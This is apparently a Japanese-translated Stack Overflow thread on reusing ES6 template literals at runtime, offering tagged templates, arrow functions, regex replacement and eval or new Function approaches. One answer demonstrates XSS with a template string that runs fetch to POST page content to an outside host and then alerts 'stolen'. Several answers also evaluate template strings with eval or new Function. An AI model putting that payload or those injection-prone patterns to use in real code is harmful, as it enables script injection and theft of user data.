web-dev-qa-db-ja.com

ES6テンプレートリテラルを実行時に置換(または再利用)できますか?

tl; dr:再利用可能なテンプレートリテラルを作成することは可能ですか?

私はテンプレートリテラルを使用しようとしましたが、私はそれを取得していないと思いますが、今はイライラしています。つまり、私はそれを手に入れたと思うが、「それ」はそれがどのように機能するか、またはどのように手に入れるべきではない。異なる方法で取得する必要があります。

私が見るすべての例(タグ付けされたテンプレートでさえ)は、「置換」が実行時ではなく宣言時に行われることを要求します。これはテンプレートにとってまったく役に立たないようです。クレイジーかもしれませんが、私にとって「テンプレート」とは、作成時にではなく、使用時に置換されるトークンを含むドキュメントのことです。テンプレートはトークンとしてトークンとして保存され、これらのトークンは評価時に評価されます。

誰もが次のような恐ろしい例を引用しています。

var a = 'asd';
return `Worthless ${a}!`

それはいいことですが、既にaを知っている場合は、return 'Worthless asd'またはreturn 'Worthless '+aだけにします。ポイントは何ですか?真剣に。さて、ポイントは怠lazです。より少ないプラス、より読みやすい。すばらしいです。しかし、それはテンプレートではありません!私見ではありません。そして、MHOがすべてです!私見の問題は、テンプレートが宣言されたときに評価されることです。

var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!

expletiveは宣言されていないため、My undefined templateのようなものを出力します。スーパー。実際、少なくともChromeでは、テンプレートを宣言することさえできません。 expletiveが定義されていないため、エラーがスローされます。私が必要なのは、テンプレートを宣言した後、置換を実行できるようにすることです。

var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template

ただし、これらは実際にはテンプレートではないため、これがどのように可能かはわかりません。タグを使用する必要があると言っても、機能しません:

> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...

これにより、テンプレートリテラルは恐ろしく間違った名前が付けられており、実際の名前と呼ばれるべきであると信じるようになりました。heredocs。 「リテラル」の部分が私をひっくり返したはずだと思います(たとえば、不変)。

何かが足りない?再利用可能なテンプレートリテラルを作成する(良い)方法はありますか?


再利用可能なテンプレートリテラル

> function out(t) { console.log(eval(t)); }
  var template = `\`This is
  my \${expletive} reusable
  template!\``;
  out(template);
  var expletive = 'curious';
  out(template);
  var expletive = 'AMAZING';
  out(template);
< This is
  my undefined reusable
  template!
  This is
  my curious reusable
  template!
  This is
  my AMAZING reusable
  template!

そして、ここに素朴な「ヘルパー」関数があります...

function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);

...「より良く」するため。

私はそれらをテンプレートguteralsと呼ぶ傾向がある。

91
Josh

これらのリテラルを他のテンプレートエンジンのように機能させるには、中間フォームが必要です。

これを行う最良の方法は、Functionコンストラクターを使用することです。

const templateString = "Hello ${this.name}!";
const templateVars = {
    name: "world"    
}

const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}

console.log(fillTemplate(templateString, templateVars));

他のテンプレートエンジンと同様に、ファイルなどの他の場所からその文字列を取得できます。

この方法を使用すると、テンプレートタグの使用が難しいなどの問題が発生する可能性がありますが、賢明な場合は追加できます。補間が遅いため、インラインJavaScriptロジックを使用することもできません。これは、いくつかの思考で修正することもできます。

63
Quentin Engles

関数にテンプレート文字列を入れることができます:

function reusable(a, b) {
  return `a is ${a} and b is ${b}`;
}

タグ付きテンプレートでも同じことができます。

function reusable(strings) {
  return function(... vals) {
    return strings.map(function(s, i) {
      return `${s}${vals[i] || ""}`;
    }).join("");
  };
}

var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"

この考え方は、テンプレートパーサーが変数「スロット」から定数文字列を分割し、そのたびに新しい値のセットに基づいてパッチを適用する関数を返すようにすることです。

51
Pointy

おそらくこれを行う最もクリーンな方法は、矢印関数を使用することです(この時点で、すでにES6を使用しているため)

var reusable = () => `This ${object} was created by ${creator}`;

var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"

object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"

...そして、タグ付きテンプレートリテラルの場合:

reusable = () => myTag`The ${noun} go ${verb} and `;

var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"

noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"

また、これにより、コンパイラで問題が発生し、多くの速度低下を引き起こす可能性のあるeval()またはFunction()の使用も回避されます。

35
PilotInPyjamas

2019年の回答

:ライブラリはもともと、XSSを避ける​​ためにユーザーが文字列をサニタイズすることを期待していました。ライブラリのバージョン2では、evalを完全に回避するため、ユーザー文字列をサニタイズする必要がなくなりました(Web開発者はとにかく行う必要があります)。

es6-dynamic-template npmのモジュール はこれを行います。

const fillTemplate = require('es6-dynamic-template');

現在の回答とは異なり:

  • ES6テンプレート文字列を使用し、同様の形式ではありませんupdateバージョン2は、ユーザーが不衛生な入力文字列を使用できないように、ES6テンプレート文字列ではなく同様の形式を使用します。
  • テンプレート文字列にthisは必要ありません
  • 単一の関数でテンプレート文字列と変数を指定できます
  • StackOverflowのcopypastaではなく、メンテナンス可能な更新可能なモジュールです。

使い方は簡単です。テンプレート文字列は後で解決されるため、単一引用符を使用してください!

const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});
9
mikemaccana

@metamorphasiによって提供される答えを簡素化します。

const fillTemplate = function(templateString, templateVars){
  var func = new Function(...Object.keys(templateVars),  "return `"+templateString +"`;")
  return func(...Object.values(templateVars));
}

// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);

console.log(result);
6
subcoder

テンプレート内の変数を参照するために順序付けられたパラメーターまたはコンテキスト/名前空間を使用したくない場合は、 ${0}${this.something}、または${data.something}の場合、スコーピングを処理するテンプレート関数を使用できます。

このようなテンプレートを呼び出す方法の例

const tempGreet = Template(() => `
  <span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"

テンプレート関数:

function Template(cb) {
  return function(data) {
    const dataKeys = [];
    const dataVals = [];
    for (let key in data) {
      dataKeys.Push(key);
      dataVals.Push(data[key]);
    }
    let func = new Function(...dataKeys, 'return (' + cb + ')();');
    return func(...dataVals);
  }
}

この場合の癖は、ES6テンプレートリテラルを返す関数(この例では矢印関数を使用しました)を渡すだけです。再利用可能な補間の種類を取得することは、小さなトレードオフだと思います。

GitHubにあります: https://github.com/Adelphos/ES6-Reuseable-Template

6
metamorphasi

はい、テンプレートを使用して文字列をJSとしてFunction(またはeval)で解析することで実行できますが、これは推奨されておらず、許可されませんXSS攻撃

const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}


function parseString() {
// Sample
  var hosting = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";
  var domain = {Id:1234, User:22};
  var result = fillTemplate(hosting, domain);

console.log(result);

msg.innerHTML+=`Look on Chrome console> networks and look for <b>POST server?id...</b> request with stolen data (look on "request payload" a t the bottom)`;

}

window.parseString=parseString;
#mydiv { background: red; margin: 20px}

.btn { margin: 20px; padding: 20px; }
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then system save templates in DB and show them to other users...
Some bad user/hacker can then prepare malicious template 
with JS code (hosting variable in js code) ...
</pre>
<div id='mydiv'>
My private content
</div>

<div id="msg"></div>

<button class="btn" onclick="parseString()">Click me! :)</button>

代わりに、安全にオブジェクトobjフィールドをテンプレートstrに動的に次のように挿入できます

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);
let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);


// --- test ---

// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);


// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, {...['A,B,C', 666, 'BIG']} );
console.log("ARRAY :", r2);
4

これは私の最高の試みです:

var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'

一般化するには:

var s = (<variable names you want>) => {return `<template with those variables>`}

E6を実行していない場合は、次のこともできます。

var s = function(<variable names you want>){return `<template with those variables>`}

これは、以前の回答よりも少し簡潔に思えます。

https://repl.it/@abalter/reusable-JS-template-literal

2
abalter

かなり単純なもの(固定変数フィールド、計算、条件なしなど)を探しているが、クライアント側でも機能する場合 IE 8,9のようなテンプレート文字列サポートのないブラウザでは、 10,11

さあ:

fillTemplate = function (templateString, templateVars) {
    var parsed = templateString;
    Object.keys(templateVars).forEach(
        (key) => {
            const value = templateVars[key]
            parsed = parsed.replace('${'+key+'}',value)
        }
    )
    return parsed
}
1
Frank Nocke

一般的に私は邪悪なeval()を使うことに反対ですが、この場合は理にかなっています:

var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);

console.log(populated);         // shows 1.2

次に、値を変更してeval()を再度呼び出すと、新しい結果が得られます。

a = 3; b = 4;
populated = eval(template);

console.log(populated);         // shows 3.4

関数で必要な場合は、次のように記述できます。

function populate(a, b){
  return `${a}.${b}`;
}
1
isapir

毎回this.を入力するのに必要な余分な冗長性に悩まされていたので、.aのような変数をthis.aに展開する正規表現も追加しました。

解決:

const interp = template => _thisObj =>
function() {
    return template.replace(/\${([^}]*)}/g, (_, k) =>
        eval(
            k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
                args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
            )
        )
    );
}.call(_thisObj);

そのまま使用:

console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!
0
NolePTR

何か不足していますか?再利用可能なテンプレートリテラルを作成する[良い]方法はありますか?

たぶん私は何かが欠けています、この問題に対する私の解決策は私にとって非常に明白であるので、誰もすでにそのような古い質問でそれを書いていないことに非常に驚いています。

私はそれのためにほぼワンライナーを持っています:

function defer([fisrt, ...rest]) {
  return (...values) => rest.reduce((acc, str, i) => acc + values[i] + str, fisrt);
}

それで全部です。テンプレートを再利用して、置換の解決を延期する場合は、次のようにします。

> t = defer`My template is: ${null} and ${null}`;
> t('simple', 'reusable');          // 'My template is: simple and reusable'
> t('obvious', 'late to the party'; // 'My template is: obvious and late to the party'
> t(null);                          // 'My template is: null and undefined'
>
> defer`Choose: ${'ignore'} / ${undefined}`(true, false); // 'Choose: true / false'

このタグを適用すると、'function'の代わりに'string'が返され、リテラルに渡されたパラメーターは無視されます。その後、後で新しいパラメーターで呼び出すことができます。パラメーターに対応する置換がない場合は、'undefined'になります。


拡張回答

この単純なコードは機能的ですが、より詳細な動作が必要な場合は、同じロジックを適用でき、無限の可能性があります。あなたは出来る:

  1. 元のパラメーターを使用します。

    コンストラクションのリテラルに渡された元の値を保存し、テンプレートを適用するときにそれらを創造的な方法で使用できます。これらはフラグ、型検証、関数などになる可能性があります。これはデフォルト値として使用する例です。

    function deferWithDefaults([fisrt, ...rest], ...defaults) {
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + (i < values.length ? values[i] : defaults[i]) + curr;
      }, fisrt);
    }
    

    次に:

    > t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
    > t('awesome');                 // 'My template is: awesome and versatile' 
    
  2. テンプレートファクトリを作成します。

    引数として、リダクションで適用できるカスタム関数を期待する関数でこのロジックをラップすることにより(テンプレートリテラルの断片を結合する場合)、カスタム動作を備えた新しいテンプレートを返します。

    const createTemplate = fn => function (strings, ...defaults) {
      const [first, ...rest] = strings;
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + fn(values[i], defaults[i]) + curr;
      }, first);
    };
    

    次に、たとえば、埋め込まれたhtml、css、sql、bashを書くときに自動的にパラメータをエスケープまたはサニタイズするテンプレートを書くことができます...

    function sqlSanitize(token, tag) {
      // this is a gross simplification, don't use in production.
      const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/.test(name) ? `"${name.replace(/"/g, '""')}"` : name);
      const quoteValue = value => (typeof value == 'string' ? `'${value.replace(/'/g, "''")}'` : value);
      switch (tag) {
        case 'table':
          return quoteName(token);
        case 'columns':
          return token.map(quoteName);
        case 'row':
          return token.map(quoteValue);
        default:
          return token;
      }
    }
    
    const sql = createTemplate(sqlSanitize);
    

    このナイーブ(繰り返しナイーブ!)SQLテンプレートを使用すると、次のようなクエリを作成できます。

    > q  = sql`INSERT INTO ${'table'} (${'columns'})
    ... VALUES (${'row'});`
    > q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
    // `INSERT INTO user (id,"user name","is""Staff""?")
    // VALUES (1,'O''neil',true);`
    
  3. 置換のための名前付きパラメーターを受け入れます:すでに与えられたものに基づいて、それほど難しくない演習。 この他の答え に実装があります。

  4. 戻りオブジェクトを'string'のように動作させます:これは議論の余地がありますが、興味深い結果につながる可能性があります。 この他の回答 に示されています。

  5. 呼び出しサイトのグローバル名前空間内のパラメーターを解決します。

    再利用可能なテンプレートリテラルを提供します。

    さて、これはOPがコマンドを使用して彼の補遺であると示したものです evil、つまり、eval。これは、evalなしで、渡された変数名をグローバル(またはウィンドウ)オブジェクトに検索するだけで実行できます。私はそれが好きではないので、私はそれをする方法を示しません。閉鎖は正しい選択です。

0

このスレッドの以前の回答に基づいて:

let templateStringToFunction = (tplStr) => (obj) => (new Function(`return \`${tplStr.replace(/\$\{(this\.)?/igm, '${this.')}\`;`)).call(obj);

const movie1 = {
    "title": "Gone with the Wind",
    "imdbId": "tt0031381",
    "release": {
        "date": {
            "year": 1939,
            "month": 11,
            "day": 28
        },
        "country": "USA",
    }
};

const movie2 = {
    "title": "It Happened One Night",
    "imdbId": "tt0025316",
    "release" : {
        "date":{
            "year": 1934,
            "month": 1,
            "day": 22

        },
        "country": "USA",
    }
};

// Defining the Template String
const movieStr=templateStringToFunction('Movie Title: "${title}" Released (${release.date.day}/${release.date.month}/${release.date.year}) in ${release.country}')

console.log(movieStr(movie1))
console.log(movieStr(movie2))
0
Nemesarial

この作業を簡単に実行できるnpmパッケージを1つ公開するだけです。 この回答 に深く触発されました。

const Template = require('dynamic-template-string');

var tpl = new Template('hello ${name}');

tpl.fill({name: 'world'}); // ==> 'hello world';
tpl.fill({name: 'china'}); // ==> 'hello china';

その実装は非常に単純です。あなたがそれを好きになることを願っています。


module.exports = class Template {
  constructor(str) {
    this._func = new Function(`with(this) { return \`${str}\`; }`);
  }

  fill(data) {
    return this._func.call(data);
  }
}
0
zhoukekestar

PDATED:次の答えは単一の変数名に制限されているため、このような場合、'Result ${a+b}'などのテンプレートは無効です。ただし、テンプレート値をいつでも使用できます。

format("This is a test: ${a_b}", {a_b: a+b});

元の回答:

前の回答に基づいていますが、より「使いやすい」ユーティリティ関数を作成します。

var format = (template, params) => {
    let tpl = template.replace(/\${(?!this\.)/g, "${this.");
    let tpl_func = new Function(`return \`${tpl}\``);

    return tpl_func.call(params);
}

次のように呼び出すことができます。

format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});

結果の文字列は次のようになります。

'This is a test: Hola, second param: Hi'
0
Roberto

簡単な答えは、lodashで _。template を使用するだけです

// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'
0
aGuegu